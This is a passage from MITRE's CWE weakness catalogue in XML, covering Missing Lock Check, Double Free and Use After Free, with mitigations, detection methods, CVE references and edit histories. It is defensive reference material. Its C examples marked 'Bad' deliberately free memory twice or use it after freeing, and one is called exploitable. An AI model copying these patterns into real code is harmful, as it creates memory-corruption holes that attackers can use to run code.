               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
            <Contribution Type="Content">
               <Contribution_Name>Martin Sebor</Contribution_Name>
               <Contribution_Organization>Cisco Systems, Inc.</Contribution_Organization>
               <Contribution_Date>2010-04-30</Contribution_Date>
               <Contribution_Comment>Provided Demonstrative Example</Contribution_Comment>
            </Contribution>
            <Previous_Entry_Name Date="2010-09-27">Insufficient Resource Locking</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="414" Name="Missing Lock Check" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>A product does not check to see if a lock is present before performing sensitive operations on a resource.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="667" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Availability</Scope>
               <Impact>Modify Application Data</Impact>
               <Impact>DoS: Instability</Impact>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Phase>Implementation</Phase>
               <Description>Implement a reliable lock mechanism.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2004-1056</Reference>
               <Description>Product does not properly check if a lock is present, allowing other attackers to access functionality.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-1056</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Missing Lock Check</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP19</Entry_ID>
               <Entry_Name>Missing Lock</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="415" Name="Double Free" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product calls free() twice on the same memory address, potentially leading to modification of unexpected memory locations.</Description>
         <Extended_Description>When a program calls free() twice with the same argument, the program's memory management data structures become corrupted. This corruption can cause the program to crash or, in some circumstances, cause two later calls to malloc() to return the same pointer. If malloc() returns the same value twice and the program later gives the attacker control over the data that is written into this doubly-allocated memory, the program becomes vulnerable to a buffer overflow attack.</Extended_Description>
         <Related_Weaknesses>
             <Related_Weakness Nature="ChildOf" CWE_ID="825" View_ID="1000" Ordinal="Primary"/>
             <Related_Weakness Nature="ChildOf" CWE_ID="1341" View_ID="1000"/>
             <Related_Weakness Nature="ChildOf" CWE_ID="672" View_ID="1003" Ordinal="Primary"/>
             <Related_Weakness Nature="ChildOf" CWE_ID="672" View_ID="1305" Ordinal="Primary"/>
	     <Related_Weakness Nature="ChildOf" CWE_ID="672" View_ID="1340" Ordinal="Primary"/>
             <Related_Weakness Nature="ChildOf" CWE_ID="666" View_ID="1000"/>
             <Related_Weakness Nature="PeerOf" CWE_ID="416" View_ID="1000"/>
             <Related_Weakness Nature="PeerOf" CWE_ID="123" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="C" Prevalence="Undetermined"/>
            <Language Name="C++" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>Double-free</Term>
            </Alternate_Term>
         </Alternate_Terms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Scope>Availability</Scope>
               <Impact>Modify Memory</Impact>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Note>Doubly freeing memory may result in a write-what-where condition, allowing an attacker to execute arbitrary code.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-13">
             <Method>Fuzzing</Method>
             <Description>Fuzz testing (fuzzing) is a powerful technique for generating large numbers of diverse inputs - either randomly or algorithmically - and dynamically invoking the code with those inputs. Even with random inputs, it is often capable of generating unexpected results such as crashes, memory corruption, or resource consumption. Fuzzing effectively produces repeatable test cases that clearly indicate bugs, which helps developers to diagnose the issues.</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Choose a language that provides automatic memory management.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Ensure that each allocation is freed only once. After freeing a chunk, set the pointer to NULL to ensure the pointer cannot be freed again. In complicated error conditions, be sure that clean-up routines respect the state of allocation properly. If the language is object oriented, ensure that object destructors delete each chunk of memory only once.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Use a static analysis tool to find double free instances.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-149">
               <Intro_Text>The following code shows a simple example of a double free vulnerability.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>char* ptr = (char*)malloc (SIZE);<xhtml:br/>...<xhtml:br/>if (abrt) {<xhtml:div style="margin-left:1em;">free(ptr);</xhtml:div>}<xhtml:br/>...<xhtml:br/>free(ptr);</xhtml:div>
               </Example_Code>
               <Body_Text>Double free vulnerabilities have two common (and sometimes overlapping) causes:</Body_Text>
               <Body_Text>
                  <xhtml:ul>
                     <xhtml:li>
                        <xhtml:div>Error conditions and other exceptional circumstances</xhtml:div>
                     </xhtml:li>
                     <xhtml:li>
                        <xhtml:div>Confusion over which part of the program is responsible for freeing the memory</xhtml:div>
                     </xhtml:li>
                  </xhtml:ul>
               </Body_Text>
               <Body_Text>Although some double free vulnerabilities are not much more complicated than this example, most are spread out across hundreds of lines of code or even different files. Programmers seem particularly susceptible to freeing global variables more than once.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>While contrived, this code should be exploitable on Linux distributions that do not ship with heap-chunk check summing turned on.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>#include &lt;stdio.h&gt;<xhtml:br/>#include &lt;unistd.h&gt;<xhtml:br/>#define BUFSIZE1 512<xhtml:br/>#define BUFSIZE2 ((BUFSIZE1/2) - 8)<xhtml:br/>
                     <xhtml:br/>int main(int argc, char **argv) {<xhtml:div style="margin-left:1em;">char *buf1R1;<xhtml:br/>char *buf2R1;<xhtml:br/>char *buf1R2;<xhtml:br/>buf1R1 = (char *) malloc(BUFSIZE2);<xhtml:br/>buf2R1 = (char *) malloc(BUFSIZE2);<xhtml:br/>free(buf1R1);<xhtml:br/>free(buf2R1);<xhtml:br/>buf1R2 = (char *) malloc(BUFSIZE1);<xhtml:br/>strncpy(buf1R2, argv[1], BUFSIZE1-1);<xhtml:br/>free(buf2R1);<xhtml:br/>free(buf1R2);</xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2006-5051</Reference>
               <Description>Chain: Signal handler contains too much functionality (CWE-828), introducing a race condition (CWE-362) that leads to a double free (CWE-415).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-5051</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0642</Reference>
               <Description>Double free resultant from certain error conditions.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0642</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0772</Reference>
               <Description>Double free resultant from certain error conditions.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0772</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1689</Reference>
               <Description>Double free resultant from certain error conditions.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1689</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-0545</Reference>
               <Description>Double free from invalid ASN.1 encoding.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0545</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-1048</Reference>
               <Description>Double free from malformed GIF.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-1048</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-0891</Reference>
               <Description>Double free from malformed GIF.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-0891</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0059</Reference>
               <Description>Double free from malformed compressed data.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0059</Link>
            </Observed_Example>
         </Observed_Examples>
         <Affected_Resources>
            <Affected_Resource>Memory</Affected_Resource>
         </Affected_Resources>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>DFREE - Double-Free Vulnerability</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>Double Free</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Doubly freeing memory</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>MEM00-C</Entry_ID>
               <Entry_Name>Allocate and free memory in the same module, at the same level of abstraction</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>MEM01-C</Entry_ID>
               <Entry_Name>Store a new value in pointers immediately after free()</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>MEM30-C</Entry_ID>
               <Entry_Name>Do not access freed memory</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>MEM31-C</Entry_ID>
               <Entry_Name>Free dynamically allocated memory exactly once</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP12</Entry_ID>
               <Entry_Name>Faulty Memory Release</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 8: C++ Catastrophes.&#34; Page 143"/>
            <Reference External_Reference_ID="REF-62" Section="Chapter 7, &#34;Double Frees&#34;, Page 379"/>
            <Reference External_Reference_ID="REF-18"/>
         </References>
         <Notes>
            <Note Type="Relationship">This is usually resultant from another weakness, such as an unhandled error or race condition between threads. It could also be primary to weaknesses such as buffer overflows.</Note>
            <Note Type="Theoretical">It could be argued that Double Free would be most appropriately located as a child of "Use after Free", but "Use" and "Release" are considered to be distinct operations within vulnerability theory, therefore this is more accurately "Release of a Resource after Expiration or Release", which doesn't exist yet.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Organization>KDM Analytics</Modification_Organization>
               <Modification_Date>2008-08-01</Modification_Date>
               <Modification_Comment>added/updated white box definitions</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Common_Consequences, Description, Maintenance_Notes, Relationships, Other_Notes, Relationship_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Likelihood_of_Exploit, Relationships, Taxonomy_Mappings, White_Box_Definitions</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Common_Consequences</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes, Theoretical_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="416" Name="Use After Free" Abstraction="Variant" Structure="Simple" Status="Stable">
         <Description>Referencing memory after it has been freed can cause a program to crash, use unexpected values, or execute code.</Description>
         <Extended_Description>
            <xhtml:p>The use of previously-freed memory can have any number of adverse consequences, ranging from the corruption of valid data to the execution of arbitrary code, depending on the instantiation and timing of the flaw. The simplest way data corruption may occur involves the system's reuse of the freed memory. Use-after-free errors have two common and sometimes overlapping causes:</xhtml:p>
               <xhtml:ul>
                  <xhtml:li>Error conditions and other exceptional circumstances.</xhtml:li>
                  <xhtml:li>Confusion over which part of the program is responsible for freeing the memory.</xhtml:li>
               </xhtml:ul>
            <xhtml:p>In this scenario, the memory in question is allocated to another pointer validly at some point after it has been freed. The original pointer to the freed memory is used again and points to somewhere within the new allocation. As the data is changed, it corrupts the validly used memory; this induces undefined behavior in the process.</xhtml:p>
            <xhtml:p>If the newly allocated data happens to hold a class, in C++ for example, various function pointers may be scattered within the heap data. If one of these function pointers is overwritten with an address to valid shellcode, execution of arbitrary code can be achieved.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
             <Related_Weakness Nature="ChildOf" CWE_ID="825" View_ID="1000" Ordinal="Primary"/>
             <Related_Weakness Nature="ChildOf" CWE_ID="672" View_ID="1003" Ordinal="Primary"/>
             <Related_Weakness Nature="ChildOf" CWE_ID="672" View_ID="1305" Ordinal="Primary"/>
			 <Related_Weakness Nature="ChildOf" CWE_ID="672" View_ID="1340" Ordinal="Primary"/>
             <Related_Weakness Nature="CanPrecede" CWE_ID="120" View_ID="1000"/>
             <Related_Weakness Nature="CanPrecede" CWE_ID="123" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="C" Prevalence="Undetermined"/>
            <Language Name="C++" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>Dangling pointer</Term>
            </Alternate_Term>
            <Alternate_Term>
               <Term>Use-After-Free</Term>
            </Alternate_Term>
         </Alternate_Terms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Modify Memory</Impact>
               <Note>The use of previously freed memory may corrupt valid data, if the memory area in question has been allocated and used properly elsewhere.</Note>
            </Consequence>
            <Consequence>
               <Scope>Availability</Scope>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Note>If chunk consolidation occurs after the use of previously freed data, the process may crash when invalid data is used as chunk information.</Note>
            </Consequence>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Scope>Availability</Scope>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Note>If malicious data is entered before chunk consolidation can take place, it may be possible to take advantage of a write-what-where primitive to execute arbitrary code.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-13">
             <Method>Fuzzing</Method>
             <Description>Fuzz testing (fuzzing) is a powerful technique for generating large numbers of diverse inputs - either randomly or algorithmically - and dynamically invoking the code with those inputs. Even with random inputs, it is often capable of generating unexpected results such as crashes, memory corruption, or resource consumption. Fuzzing effectively produces repeatable test cases that clearly indicate bugs, which helps developers to diagnose the issues.</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Choose a language that provides automatic memory management.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>When freeing pointers, be sure to set them to NULL once they are freed. However, the utilization of multiple or complex data structures may lower the usefulness of this strategy.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following example demonstrates the weakness.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>#include &lt;stdio.h&gt;<xhtml:br/>#include &lt;unistd.h&gt;<xhtml:br/>#define BUFSIZER1 512<xhtml:br/>#define BUFSIZER2 ((BUFSIZER1/2) - 8)<xhtml:br/>int main(int argc, char **argv) {<xhtml:div style="margin-left:1em;">char *buf1R1;<xhtml:br/>char *buf2R1;<xhtml:br/>char *buf2R2;<xhtml:br/>char *buf3R2;<xhtml:br/>buf1R1 = (char *) malloc(BUFSIZER1);<xhtml:br/>buf2R1 = (char *) malloc(BUFSIZER1);<xhtml:br/>free(buf2R1);<xhtml:br/>buf2R2 = (char *) malloc(BUFSIZER2);<xhtml:br/>buf3R2 = (char *) malloc(BUFSIZER2);<xhtml:br/>strncpy(buf2R1, argv[1], BUFSIZER1-1);<xhtml:br/>free(buf1R1);<xhtml:br/>free(buf2R2);<xhtml:br/>free(buf3R2);</xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>The following code illustrates a use after free error:</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>char* ptr = (char*)malloc (SIZE);<xhtml:br/>if (err) {<xhtml:div style="margin-left:1em;">abrt = 1;<xhtml:br/>free(ptr);</xhtml:div>}<xhtml:br/>...<xhtml:br/>if (abrt) {<xhtml:div style="margin-left:1em;">logError("operation aborted before commit", ptr);</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>When an error occurs, the pointer is immediately freed. However, this pointer is later incorrectly used in the logError function.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2021-0920</Reference>
               <Description>Chain: mobile platform race condition (CWE-362) leading to use-after-free (CWE-416), as exploited in the wild per CISA KEV.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2021-0920</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2020-6819</Reference>
               <Description>Chain: race condition (CWE-362) leads to use-after-free (CWE-416), as exploited in the wild per CISA KEV.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2020-6819</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2010-4168</Reference>
